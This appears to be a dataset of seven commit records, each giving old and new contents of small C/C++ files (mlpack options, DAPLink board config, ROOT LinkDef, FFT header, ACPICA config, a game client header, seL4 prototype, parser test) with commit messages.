{"commit":"44dfccfeb025f4eb61c9f31af287c00a46a37a0d","old_file":"fastlib\/branches\/fastlib-stl\/fastlib\/fx\/option_impl.h","new_file":"fastlib\/branches\/fastlib-stl\/fastlib\/fx\/option_impl.h","old_contents":"#ifndef MLPACK_IO_OPTION_IMPL_H\n#define MLPACK_IO_OPTION_IMPL_H\n\n#include \"io.h\"\n\nnamespace mlpack {\n\n\/*\n * @brief Registers a parameter with IO.  \n *    This allows the registration of parameters at program start.\n *\/\ntemplate<typename N>\nOption<N>::Option(bool ignoreTemplate,\n                N defaultValue,\n                const char* identifier,\n                const char* description,\n                const char* parent,\n                bool required) {\n  if (ignoreTemplate)\n    IO::Add(identifier, description, parent, required);\n  else {\n    IO::Add<N>(identifier, description, parent, required);\n\n    \/\/Create the full pathname.\n    std::string pathname = IO::SanitizeString(parent) + std::string(identifier);\n    IO::GetParam<N>(pathname.c_str()) = defaultValue;\n  }\n}\n\n\n\/*\n * @brief Registers a flag parameter with IO.\n *\/\ntemplate<typename N>\nOption<N>::Option(const char* identifier,\n                  const char* description,\n                  const char* parent) {\n  IO::AddFlag(identifier, description, parent);\n}\n\n}; \/\/ namespace mlpack\n\n#endif \n","new_contents":"#ifndef MLPACK_IO_OPTION_IMPL_H\n#define MLPACK_IO_OPTION_IMPL_H\n\n#include \"io.h\"\n\nnamespace mlpack {\n\n\/*\n * @brief Registers a parameter with IO.  \n *    This allows the registration of parameters at program start.\n *\/\ntemplate<typename N>\nOption<N>::Option(bool ignoreTemplate,\n                N defaultValue,\n                const char* identifier,\n                const char* description,\n                const char* parent,\n                bool required) {\n  if (ignoreTemplate)\n    IO::Add(identifier, description, parent, required);\n  else {\n    IO::Add<N>(identifier, description, parent, required);\n\n    \/\/ Create the full pathname to set the default value.\n    std::string pathname = IO::SanitizeString(parent) + std::string(identifier);\n    IO::GetParam<N>(pathname.c_str()) = defaultValue;\n  }\n}\n\n\n\/*\n * @brief Registers a flag parameter with IO.\n *\/\ntemplate<typename N>\nOption<N>::Option(const char* identifier,\n                  const char* description,\n                  const char* parent) {\n  IO::AddFlag(identifier, description, parent);\n\n  \/\/ Set the default value (false).\n  std::string pathname = IO::SanitizeString(parent) + std::string(identifier);\n  IO::GetParam<bool>(pathname.c_str()) = false;\n}\n\n}; \/\/ namespace mlpack\n\n#endif \n","subject":"Set a default value for boolean options (false).","message":"Set a default value for boolean options (false).\n\n","lang":"C","license":"bsd-3-clause","repos":"minhpqn\/mlpack,palashahuja\/mlpack,Azizou\/mlpack,ajjl\/mlpack,minhpqn\/mlpack,ranjan1990\/mlpack,bmswgnp\/mlpack,lezorich\/mlpack,ranjan1990\/mlpack,theranger\/mlpack,thirdwing\/mlpack,trungda\/mlpack,stereomatchingkiss\/mlpack,chenmoshushi\/mlpack,BookChan\/mlpack,darcyliu\/mlpack,ersanliqiao\/mlpack,stereomatchingkiss\/mlpack,datachand\/mlpack,thirdwing\/mlpack,lezorich\/mlpack,bmswgnp\/mlpack,stereomatchingkiss\/mlpack,bmswgnp\/mlpack,datachand\/mlpack,theranger\/mlpack,trungda\/mlpack,erubboli\/mlpack,ranjan1990\/mlpack,ajjl\/mlpack,palashahuja\/mlpack,darcyliu\/mlpack,ajjl\/mlpack,chenmoshushi\/mlpack,lezorich\/mlpack,datachand\/mlpack,BookChan\/mlpack,minhpqn\/mlpack,chenmoshushi\/mlpack,ersanliqiao\/mlpack,erubboli\/mlpack,theranger\/mlpack,BookChan\/mlpack,trungda\/mlpack,thirdwing\/mlpack,palashahuja\/mlpack,Azizou\/mlpack,ersanliqiao\/mlpack,erubboli\/mlpack,Azizou\/mlpack,darcyliu\/mlpack"}
{"commit":"61e076548c04d626edd4fb9a2d67bc69ac73ced8","old_file":"source\/board\/nina_b1.c","new_file":"source\/board\/nina_b1.c","old_contents":"\/**\r\n * @file    nina_b1.c\r\n * @brief   board ID for the u-blox NINA-B1 EVA maker board\r\n *\r\n * DAPLink Interface Firmware\r\n * Copyright (c) 2009-2016, ARM Limited, All Rights Reserved\r\n * SPDX-License-Identifier: Apache-2.0\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\r\n * not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\r\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n *\/\r\n\r\n#include \"target_config.h\"\r\n\r\nconst char *board_id = \"1238\";\r\n\r\nvoid prerun_board_config(void)\r\n{\r\n\t\/\/ NINA-B1 is based on nrf52\r\n\textern target_cfg_t target_device_nrf52;\r\n\ttarget_device = target_device_nrf52;\r\n}\r\n","new_contents":"\/**\n * @file    nina_b1.c\n * @brief   board ID for the u-blox NINA-B1 EVA maker board\n *\n * DAPLink Interface Firmware\n * Copyright (c) 2009-2016, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"target_config.h\"\n\nconst char *board_id = \"1238\";\n\nvoid prerun_board_config(void)\n{\n\t\/\/ NINA-B1 is based on nrf52\n\textern target_cfg_t target_device_nrf52;\n\ttarget_device = target_device_nrf52;\n}\n","subject":"Convert line endings to unix format","message":"Convert line endings to unix format\n\nConvert the line endings for nina_b1.c to unix format. This matches\nthe rest of the codebase. This also fixes strange git behavior which\ncause this file to show up as modified even when no changes have\nbeen made.\n","lang":"C","license":"apache-2.0","repos":"google\/DAPLink-port,sg-\/DAPLink,sg-\/DAPLink,google\/DAPLink-port,sg-\/DAPLink,google\/DAPLink-port,google\/DAPLink-port"}
{"commit":"7210b0870c273abcd45c9d7663623242a846e256","old_file":"mc\/inc\/LinkDef.h","new_file":"mc\/inc\/LinkDef.h","old_contents":"\/\/ @(#)root\/mc:$Name:  $:$Id: LinkDef.h,v 1.2 2002\/04\/26 08:46:10 brun Exp $\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n \n#pragma link C++ global gMC;\n \n#pragma link C++ enum PDG_t;\n#pragma link C++ enum TMCProcess;\n\n#pragma link C++ class  TVirtualMC+;\n#pragma link C++ class  TVirtualMCApplication+;\n#pragma link C++ class  TVirtualMCStack+;\n#pragma link C++ class  TVirtualMCDecayer+;\n\n#endif\n\n\n\n\n\n","new_contents":"\/\/ @(#)root\/mc:$Name:  $:$Id: LinkDef.h,v 1.2 2002\/04\/26 09:25:02 brun Exp $\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n \n#pragma link C++ global gMC;\n \n#pragma link C++ enum PDG_t;\n#pragma link C++ enum TMCProcess;\n\n#pragma link C++ class  TVirtualMC+;\n#pragma link C++ class  TVirtualMCApplication+;\n#pragma link C++ class  TVirtualMCStack+;\n#pragma link C++ class  TVirtualMCDecayer+;\n#pragma link C++ class  TMCVerbose+;\n\n#endif\n\n\n\n\n\n","subject":"Add TMCVerbose to the list of mc classes","message":"Add TMCVerbose to the list of mc classes\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@6190 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"satyarth934\/root,dfunke\/root,tc3t\/qoot,georgtroska\/root,georgtroska\/root,perovic\/root,sawenzel\/root,alexschlueter\/cern-root,kirbyherm\/root-r-tools,arch1tect0r\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,cxx-hep\/root-cern,agarciamontoro\/root,nilqed\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,root-mirror\/root,sirinath\/root,smarinac\/root,simonpf\/root,lgiommi\/root,davidlt\/root,krafczyk\/root,mattkretz\/root,sirinath\/root,bbockelm\/root,karies\/root,sawenzel\/root,tc3t\/qoot,CristinaCristescu\/root,omazapa\/root,Y--\/root,sawenzel\/root,gganis\/root,vukasinmilosevic\/root,esakellari\/root,gbitzes\/root,beniz\/root,nilqed\/root,abhinavmoudgil95\/root,mattkretz\/root,zzxuanyuan\/root-compressor-dummy,lgiommi\/root,root-mirror\/root,Y--\/root,sirinath\/root,smarinac\/root,Y--\/root,beniz\/root,nilqed\/root,CristinaCristescu\/root,omazapa\/root-old,zzxuanyuan\/root,olifre\/root,agarciamontoro\/root,alexschlueter\/cern-root,veprbl\/root,mattkretz\/root,agarciamontoro\/root,zzxuanyuan\/root,esakellari\/root,0x0all\/ROOT,perovic\/root,pspe\/root,esakellari\/root,smarinac\/root,esakellari\/root,jrtomps\/root,karies\/root,dfunke\/root,pspe\/root,sirinath\/root,zzxuanyuan\/root,CristinaCristescu\/root,evgeny-boger\/root,gbitzes\/root,zzxuanyuan\/root-compressor-dummy,arch1tect0r\/root,smarinac\/root,esakellari\/my_root_for_test,kirbyherm\/root-r-tools,davidlt\/root,sawenzel\/root,arch1tect0r\/root,karies\/root,pspe\/root,sbinet\/cxx-root,cxx-hep\/root-cern,gbitzes\/root,mattkretz\/root,Duraznos\/root,BerserkerTroll\/root,olifre\/root,omazapa\/root-old,jrtomps\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,gbitzes\/root,0x0all\/ROOT,sbinet\/cxx-root,sawenzel\/root,buuck\/root,Dr15Jones\/root,BerserkerTroll\/root,abhinavmoudgil95\/root,buuck\/root,abhinavmoudgil95\/root,veprbl\/root,sirinath\/root,vukasinmilosevic\/root,gbitzes\/root,tc3t\/qoot,krafczyk\/root,mkret2\/root,gbitzes\/root,simonpf\/root,agarciamontoro\/root,cxx-hep\/root-cern,smarinac\/root,CristinaCristescu\/root,esakellari\/root,CristinaCristescu\/root,root-mirror\/root,evgeny-boger\/root,omazapa\/root-old,mattkretz\/root,Y--\/root,krafczyk\/root,mkret2\/root,omazapa\/root,satyarth934\/root,nilqed\/root,Dr15Jones\/root,vukasinmilosevic\/root,Duraznos\/root,georgtroska\/root,abhinavmoudgil95\/root,krafczyk\/root,buuck\/root,beniz\/root,nilqed\/root,thomaskeck\/root,esakellari\/root,sbinet\/cxx-root,perovic\/root,gganis\/root,georgtroska\/root,esakellari\/root,gganis\/root,olifre\/root,mkret2\/root,smarinac\/root,ffurano\/root5,root-mirror\/root,omazapa\/root,agarciamontoro\/root,lgiommi\/root,davidlt\/root,beniz\/root,esakellari\/my_root_for_test,zzxuanyuan\/root-compressor-dummy,ffurano\/root5,dfunke\/root,buuck\/root,nilqed\/root,tc3t\/qoot,mhuwiler\/rootauto,sirinath\/root,Duraznos\/root,mkret2\/root,olifre\/root,BerserkerTroll\/root,simonpf\/root,buuck\/root,sbinet\/cxx-root,zzxuanyuan\/root-compressor-dummy,omazapa\/root-old,root-mirror\/root,buuck\/root,0x0all\/ROOT,georgtroska\/root,Y--\/root,zzxuanyuan\/root,bbockelm\/root,gganis\/root,tc3t\/qoot,evgeny-boger\/root,perovic\/root,abhinavmoudgil95\/root,arch1tect0r\/root,vukasinmilosevic\/root,sbinet\/cxx-root,jrtomps\/root,root-mirror\/root,arch1tect0r\/root,Duraznos\/root,karies\/root,omazapa\/root-old,simonpf\/root,beniz\/root,thomaskeck\/root,buuck\/root,krafczyk\/root,nilqed\/root,omazapa\/root,gganis\/root,gbitzes\/root,vukasinmilosevic\/root,cxx-hep\/root-cern,davidlt\/root,Dr15Jones\/root,simonpf\/root,vukasinmilosevic\/root,satyarth934\/root,georgtroska\/root,beniz\/root,sbinet\/cxx-root,BerserkerTroll\/root,dfunke\/root,sirinath\/root,Duraznos\/root,esakellari\/my_root_for_test,perovic\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,gbitzes\/root,tc3t\/qoot,sbinet\/cxx-root,mhuwiler\/rootauto,simonpf\/root,sawenzel\/root,alexschlueter\/cern-root,sbinet\/cxx-root,BerserkerTroll\/root,bbockelm\/root,thomaskeck\/root,Duraznos\/root,sirinath\/root,mkret2\/root,buuck\/root,karies\/root,evgeny-boger\/root,agarciamontoro\/root,davidlt\/root,gbitzes\/root,perovic\/root,satyarth934\/root,veprbl\/root,smarinac\/root,jrtomps\/root,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,thomaskeck\/root,lgiommi\/root,cxx-hep\/root-cern,agarciamontoro\/root,Dr15Jones\/root,arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,0x0all\/ROOT,pspe\/root,smarinac\/root,CristinaCristescu\/root,0x0all\/ROOT,pspe\/root,sbinet\/cxx-root,ffurano\/root5,arch1tect0r\/root,Duraznos\/root,strykejern\/TTreeReader,krafczyk\/root,zzxuanyuan\/root,sirinath\/root,sawenzel\/root,evgeny-boger\/root,zzxuanyuan\/root,arch1tect0r\/root,omazapa\/root,esakellari\/root,vukasinmilosevic\/root,mhuwiler\/rootauto,pspe\/root,0x0all\/ROOT,tc3t\/qoot,lgiommi\/root,Dr15Jones\/root,Duraznos\/root,mhuwiler\/rootauto,Duraznos\/root,mattkretz\/root,ffurano\/root5,evgeny-boger\/root,abhinavmoudgil95\/root,olifre\/root,gganis\/root,pspe\/root,esakellari\/root,dfunke\/root,Y--\/root,nilqed\/root,smarinac\/root,BerserkerTroll\/root,omazapa\/root-old,veprbl\/root,omazapa\/root,vukasinmilosevic\/root,thomaskeck\/root,karies\/root,lgiommi\/root,buuck\/root,BerserkerTroll\/root,davidlt\/root,agarciamontoro\/root,evgeny-boger\/root,cxx-hep\/root-cern,kirbyherm\/root-r-tools,veprbl\/root,Duraznos\/root,sawenzel\/root,esakellari\/my_root_for_test,thomaskeck\/root,ffurano\/root5,dfunke\/root,gbitzes\/root,perovic\/root,esakellari\/my_root_for_test,sbinet\/cxx-root,agarciamontoro\/root,bbockelm\/root,satyarth934\/root,olifre\/root,satyarth934\/root,evgeny-boger\/root,bbockelm\/root,tc3t\/qoot,mhuwiler\/rootauto,lgiommi\/root,gganis\/root,sirinath\/root,Y--\/root,karies\/root,CristinaCristescu\/root,jrtomps\/root,vukasinmilosevic\/root,buuck\/root,veprbl\/root,dfunke\/root,sawenzel\/root,krafczyk\/root,davidlt\/root,CristinaCristescu\/root,beniz\/root,zzxuanyuan\/root,sbinet\/cxx-root,nilqed\/root,esakellari\/my_root_for_test,dfunke\/root,strykejern\/TTreeReader,veprbl\/root,kirbyherm\/root-r-tools,lgiommi\/root,olifre\/root,davidlt\/root,omazapa\/root-old,arch1tect0r\/root,omazapa\/root,mhuwiler\/rootauto,0x0all\/ROOT,Y--\/root,0x0all\/ROOT,mkret2\/root,kirbyherm\/root-r-tools,Dr15Jones\/root,vukasinmilosevic\/root,omazapa\/root,jrtomps\/root,perovic\/root,Duraznos\/root,agarciamontoro\/root,veprbl\/root,cxx-hep\/root-cern,omazapa\/root,Y--\/root,Y--\/root,mhuwiler\/rootauto,buuck\/root,strykejern\/TTreeReader,pspe\/root,veprbl\/root,omazapa\/root-old,esakellari\/root,olifre\/root,evgeny-boger\/root,gbitzes\/root,lgiommi\/root,ffurano\/root5,tc3t\/qoot,CristinaCristescu\/root,mhuwiler\/rootauto,arch1tect0r\/root,krafczyk\/root,beniz\/root,gganis\/root,davidlt\/root,alexschlueter\/cern-root,jrtomps\/root,thomaskeck\/root,BerserkerTroll\/root,CristinaCristescu\/root,sawenzel\/root,pspe\/root,karies\/root,sawenzel\/root,alexschlueter\/cern-root,omazapa\/root-old,strykejern\/TTreeReader,perovic\/root,olifre\/root,esakellari\/my_root_for_test,satyarth934\/root,krafczyk\/root,pspe\/root,strykejern\/TTreeReader,mattkretz\/root,georgtroska\/root,dfunke\/root,bbockelm\/root,karies\/root,esakellari\/root,lgiommi\/root,perovic\/root,mkret2\/root,zzxuanyuan\/root,agarciamontoro\/root,mkret2\/root,omazapa\/root-old,mattkretz\/root,omazapa\/root-old,0x0all\/ROOT,root-mirror\/root,omazapa\/root,simonpf\/root,mattkretz\/root,bbockelm\/root,zzxuanyuan\/root-compressor-dummy,mkret2\/root,mkret2\/root,jrtomps\/root,kirbyherm\/root-r-tools,zzxuanyuan\/root,ffurano\/root5,pspe\/root,gganis\/root,abhinavmoudgil95\/root,davidlt\/root,smarinac\/root,gganis\/root,jrtomps\/root,georgtroska\/root,strykejern\/TTreeReader,BerserkerTroll\/root,davidlt\/root,nilqed\/root,dfunke\/root,sirinath\/root,gganis\/root,root-mirror\/root,root-mirror\/root,bbockelm\/root,satyarth934\/root,kirbyherm\/root-r-tools,vukasinmilosevic\/root,esakellari\/my_root_for_test,mkret2\/root,thomaskeck\/root,simonpf\/root,georgtroska\/root,thomaskeck\/root,mhuwiler\/rootauto,esakellari\/my_root_for_test,strykejern\/TTreeReader,simonpf\/root,bbockelm\/root,karies\/root,Dr15Jones\/root,Y--\/root,krafczyk\/root,krafczyk\/root,arch1tect0r\/root,jrtomps\/root,georgtroska\/root,root-mirror\/root,cxx-hep\/root-cern,karies\/root,jrtomps\/root,bbockelm\/root,omazapa\/root,satyarth934\/root,thomaskeck\/root,tc3t\/qoot,evgeny-boger\/root,zzxuanyuan\/root,simonpf\/root,bbockelm\/root,dfunke\/root,simonpf\/root,satyarth934\/root,esakellari\/my_root_for_test,mattkretz\/root,alexschlueter\/cern-root,beniz\/root,CristinaCristescu\/root,zzxuanyuan\/root,georgtroska\/root,evgeny-boger\/root,root-mirror\/root,mhuwiler\/rootauto,mattkretz\/root,beniz\/root,abhinavmoudgil95\/root,abhinavmoudgil95\/root,perovic\/root,lgiommi\/root,BerserkerTroll\/root,satyarth934\/root,BerserkerTroll\/root,beniz\/root,nilqed\/root,alexschlueter\/cern-root"}
{"commit":"d6631b5abcdb414436c0a90bc11ba0cd4808eda0","old_file":"inc\/fftw_hao.h","new_file":"inc\/fftw_hao.h","old_contents":"#ifndef FFTW_HAO_H\n#define FFTW_HAO_H\n\n#include \"fftw_define.h\"\n\nclass FFTServer\n{\n    int  dimen;\n    int* n;\n    int  L;\n    std::complex<double>* inforw;\n    std::complex<double>* outforw;\n    std::complex<double>* inback;\n    std::complex<double>* outback;\n    fftw_plan planforw;\n    fftw_plan planback;\n public:\n    FFTServer();\n    FFTServer(int Dc, const int* Nc, char format); \/\/'C' Column-major: fortran style; 'R' Row-major: c style;\n    FFTServer(const FFTServer& x);\n    ~FFTServer();\n   \n    FFTServer& operator  = (const FFTServer& x);\n   \n    std::complex<double>* fourier_forw(const std::complex<double>* inarray);\n    std::complex<double>* fourier_back(const std::complex<double>* inarray);\n   \n    friend void FFTServer_void_construction_test();\n    friend void FFTServer_param_construction_test();\n    friend void FFTServer_equal_construction_test();\n    friend void FFTServer_equal_test();\n};\n\n#endif\n","new_contents":"#ifndef FFTW_HAO_H\n#define FFTW_HAO_H\n\n#include \"fftw_define.h\"\n\nclass FFTServer\n{\n public:\n    int  dimen;\n    int* n;\n    int  L;\n    std::complex<double>* inforw;\n    std::complex<double>* outforw;\n    std::complex<double>* inback;\n    std::complex<double>* outback;\n    fftw_plan planforw;\n    fftw_plan planback;\n\n    FFTServer();\n    FFTServer(int Dc, const int* Nc, char format); \/\/'C' Column-major: fortran style; 'R' Row-major: c style;\n    FFTServer(const FFTServer& x);\n    ~FFTServer();\n   \n    FFTServer& operator  = (const FFTServer& x);\n   \n    std::complex<double>* fourier_forw(const std::complex<double>* inarray);\n    std::complex<double>* fourier_back(const std::complex<double>* inarray);\n};\n\n#endif\n","subject":"Remove friend function in FFTServer.","message":"Remove friend function in FFTServer.\n","lang":"C","license":"mit","repos":"hshi\/fftw_lib_hao,hshi\/fftw_lib_hao"}
{"commit":"9150976b9768c6f92fdf56d50f5f02e0b226b2ee","old_file":"cuser\/acpica\/acenv_header.h","new_file":"cuser\/acpica\/acenv_header.h","old_contents":"#include <stdarg.h>\n#include <stdbool.h>\n#include <stddef.h>\n#include <stdint.h>\n\n#define ACPI_MACHINE_WIDTH __INTPTR_WIDTH__\n#define ACPI_SINGLE_THREADED\n#define ACPI_USE_LOCAL_CACHE\n#define ACPI_USE_NATIVE_DIVIDE\n\n#define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED\n\n#undef ACPI_GET_FUNCTION_NAME\n#ifdef ACPI_FULL_DEBUG\n\/\/#define ACPI_DBG_TRACK_ALLOCATIONS\n#define ACPI_GET_FUNCTION_NAME __FUNCTION__\n#else\n#define ACPI_GET_FUNCTION_NAME \"\"\n#endif\n\nstatic const uintptr_t ACPI_PHYS_BASE = 0x1000000;\n\n#define AcpiOsPrintf printf\n#define AcpiOsVprintf vprintf\n\nstruct acpi_table_facs;\nuint32_t AcpiOsReleaseGlobalLock(struct acpi_table_facs* facs);\nuint32_t AcpiOsAcquireGlobalLock(struct acpi_table_facs* facs);\n\n#define ACPI_ACQUIRE_GLOBAL_LOCK(GLptr, Acquired) Acquired = AcpiOsAcquireGlobalLock(GLptr)\n#define ACPI_RELEASE_GLOBAL_LOCK(GLptr, Pending) Pending = AcpiOsReleaseGlobalLock(GLptr)\n\n#define COMPILER_DEPENDENT_UINT64 uint64_t\n#define COMPILER_DEPENDENT_UINT32 uint32_t\n","new_contents":"#include <stdarg.h>\n#include <stdbool.h>\n#include <stddef.h>\n#include <stdint.h>\n\n#define ACPI_MACHINE_WIDTH __INTPTR_WIDTH__\n#define ACPI_SINGLE_THREADED\n#define ACPI_USE_LOCAL_CACHE\n#define ACPI_USE_NATIVE_DIVIDE\n\n#define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED\n\n#undef ACPI_GET_FUNCTION_NAME\n#ifdef ACPI_FULL_DEBUG\n\/\/#define ACPI_DBG_TRACK_ALLOCATIONS\n#define ACPI_GET_FUNCTION_NAME __FUNCTION__\n#else\n#define ACPI_GET_FUNCTION_NAME \"\"\n#endif\n\nstatic const uint64_t ACPI_PHYS_BASE = 0x100000000;\n\n#define AcpiOsPrintf printf\n#define AcpiOsVprintf vprintf\n\nstruct acpi_table_facs;\nuint32_t AcpiOsReleaseGlobalLock(struct acpi_table_facs* facs);\nuint32_t AcpiOsAcquireGlobalLock(struct acpi_table_facs* facs);\n\n#define ACPI_ACQUIRE_GLOBAL_LOCK(GLptr, Acquired) Acquired = AcpiOsAcquireGlobalLock(GLptr)\n#define ACPI_RELEASE_GLOBAL_LOCK(GLptr, Pending) Pending = AcpiOsReleaseGlobalLock(GLptr)\n\n#define COMPILER_DEPENDENT_UINT64 uint64_t\n#define COMPILER_DEPENDENT_UINT32 uint32_t\n","subject":"Remove some of ACPICA's x32 support","message":"Remove some of ACPICA's x32 support\n\nTo actually work properly in x32, it would need to manage mappings of\nphysical memory into the lower 4GB. Let's just require that you build it\nin 64-bit mode...\n","lang":"C","license":"mit","repos":"olsner\/os,olsner\/os,olsner\/os,olsner\/os"}
{"commit":"8323e87f08a46398ae1ca4103e92b2cfe07c94a1","old_file":"src\/client.h","new_file":"src\/client.h","old_contents":"#ifndef _client_h_\n#define _client_h_\n\n#define DEFAULT_PORT 4080\n\nvoid client_enable();\nvoid client_disable();\nint get_client_enabled();\nvoid client_connect(char *hostname, int port);\nvoid client_start();\nvoid client_stop();\nvoid client_send(char *data);\nchar *client_recv();\nvoid client_version(int version);\nvoid client_login(const char *username, const char *identity_token);\nvoid client_position(float x, float y, float z, float rx, float ry);\nvoid client_chunk(int p, int q, int key);\nvoid client_block(int x, int y, int z, int w);\nvoid client_light(int x, int y, int z, int w);\nvoid client_sign(int x, int y, int z, int face, const char *text);\nvoid client_talk(const char *text);\n\n#endif\n","new_contents":"#ifndef _client_h_\n#define _client_h_\n\n#ifdef _MSC_VER\n    #define snprintf _snprintf\n#endif\n\n#define DEFAULT_PORT 4080\n\nvoid client_enable();\nvoid client_disable();\nint get_client_enabled();\nvoid client_connect(char *hostname, int port);\nvoid client_start();\nvoid client_stop();\nvoid client_send(char *data);\nchar *client_recv();\nvoid client_version(int version);\nvoid client_login(const char *username, const char *identity_token);\nvoid client_position(float x, float y, float z, float rx, float ry);\nvoid client_chunk(int p, int q, int key);\nvoid client_block(int x, int y, int z, int w);\nvoid client_light(int x, int y, int z, int w);\nvoid client_sign(int x, int y, int z, int face, const char *text);\nvoid client_talk(const char *text);\n\n#endif\n","subject":"Add Visual Studio 2013 fix from omnus","message":"Add Visual Studio 2013 fix from omnus\n","lang":"C","license":"mit","repos":"DanielOaks\/Craft,naxIO\/magebattle,naxIO\/magebattle,DanielOaks\/Craft"}
{"commit":"e1050535819445459bb97a5c690b20780b5a3b5f","old_file":"include\/machine\/hardware.h","new_file":"include\/machine\/hardware.h","old_contents":"\/*\n * Copyright 2014, General Dynamics C4 Systems\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(GD_GPL)\n *\/\n\n#ifndef __MACHINE_HARDWARE_H\n#define __MACHINE_HARDWARE_H\n\n#include <types.h>\n#include <arch\/machine\/hardware.h>\n#include <plat\/machine\/hardware.h>\n#include <plat\/machine.h>\n\nvoid handleReservedIRQ(irq_t irq);\nvoid handleSpuriousIRQ(void);\n\n\/** MODIFIES: [*] *\/\nvoid ackInterrupt(irq_t irq);\n\n\/** MODIFIES: [*] *\/\nirq_t getActiveIRQ(void);\n\n\/** MODIFIES: [*] *\/\nbool_t isIRQPending(void);\n\n\/** MODIFIES: [*] *\/\nvoid maskInterrupt(bool_t enable, irq_t irq);\n#endif\n","new_contents":"\/*\n * Copyright 2014, General Dynamics C4 Systems\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(GD_GPL)\n *\/\n\n#ifndef __MACHINE_HARDWARE_H\n#define __MACHINE_HARDWARE_H\n\n#include <types.h>\n#include <arch\/machine\/hardware.h>\n#include <plat\/machine\/hardware.h>\n#include <plat\/machine.h>\n\nvoid handleReservedIRQ(irq_t irq);\nvoid handleSpuriousIRQ(void);\n\n\/** MODIFIES: [*] *\/\nvoid ackInterrupt(irq_t irq);\n\n\/** MODIFIES: [*] *\/\nirq_t getActiveIRQ(void);\n\n\/** MODIFIES: [*] *\/\nbool_t isIRQPending(void);\n\n\/** MODIFIES: [*] *\/\nvoid maskInterrupt(bool_t disable, irq_t irq);\n\n#endif\n","subject":"Update prototype of maskInterrupt to match implementations.","message":"Update prototype of maskInterrupt to match implementations.\n\nThe prototype will ultimately be removed, but the mismatch is presently\nbreaking verification.\n","lang":"C","license":"bsd-2-clause","repos":"cmr\/seL4,cmr\/seL4,cmr\/seL4"}
{"commit":"ab42abde834a306787fee9b66f6e482501395e3b","old_file":"parser_tests.c","new_file":"parser_tests.c","old_contents":"#include \"parser.h\"\n#include \"ast.h\"\n#include \"tests.h\"\n\nvoid test_parse_number();\n\nint main() {\n    test_parse_number();\n    return 0;\n}\n\nstruct token *make_token(enum token_type tk_type, char* str, double dbl,\n        int number) {\n    struct token *tk = malloc(sizeof(struct token));\n    tk->type = tk_type;\n    if (tk_type == tok_dbl) {\n        tk->value.dbl = dbl;\n    } else if (tk_type == tok_number) {\n        tk->value.num = number;\n    } else {\n        tk->value.string = str;\n    }\n    return tk;\n}\n\nvoid test_parse_number() {\n    struct token_list *tkl = make_token_list();\n    tkl.append(make_token(tok_number, NULL, 0.0, 42);\n    struct ast_node *result = parse_number(tkl);\n    EXPECT_EQ(result->val, tkl->head);\n    EXPECT_EQ(result->num_children, 0);\n    destroy_token_list(tkl);\n}\n","new_contents":"#include \"parser.h\"\n#include \"ast.h\"\n#include \"tests.h\"\n\nvoid test_parse_number();\n\nint main() {\n    test_parse_number();\n    return 0;\n}\n\nstruct token *make_token(enum token_type tk_type, char* str, double dbl,\n        int number) {\n    struct token *tk = malloc(sizeof(struct token));\n    tk->type = tk_type;\n    if (tk_type == tok_dbl) {\n        tk->value.dbl = dbl;\n    } else if (tk_type == tok_number) {\n        tk->value.num = number;\n    } else {\n        tk->value.string = str;\n    }\n    return tk;\n}\n\nvoid test_parse_number() {\n    struct token_list *tkl = make_token_list();\n    struct token *tk = make_token(tok_number, NULL, 0.0, 42);\n    append_token_list(tkl, tk);\n    struct ast_node *result = parse_number(tkl);\n    EXPECT_EQ(result->val, tk);\n    EXPECT_EQ(result->num_children, 0);\n    destroy_token_list(tkl);\n}\n","subject":"Fix bug in parser tests","message":"Fix bug in parser tests\n\nThe act of parsing the ast pops the token from the token list, so we need\na pointer to the token for our assertion.\n","lang":"C","license":"mit","repos":"iankronquist\/yaz,iankronquist\/yaz"}
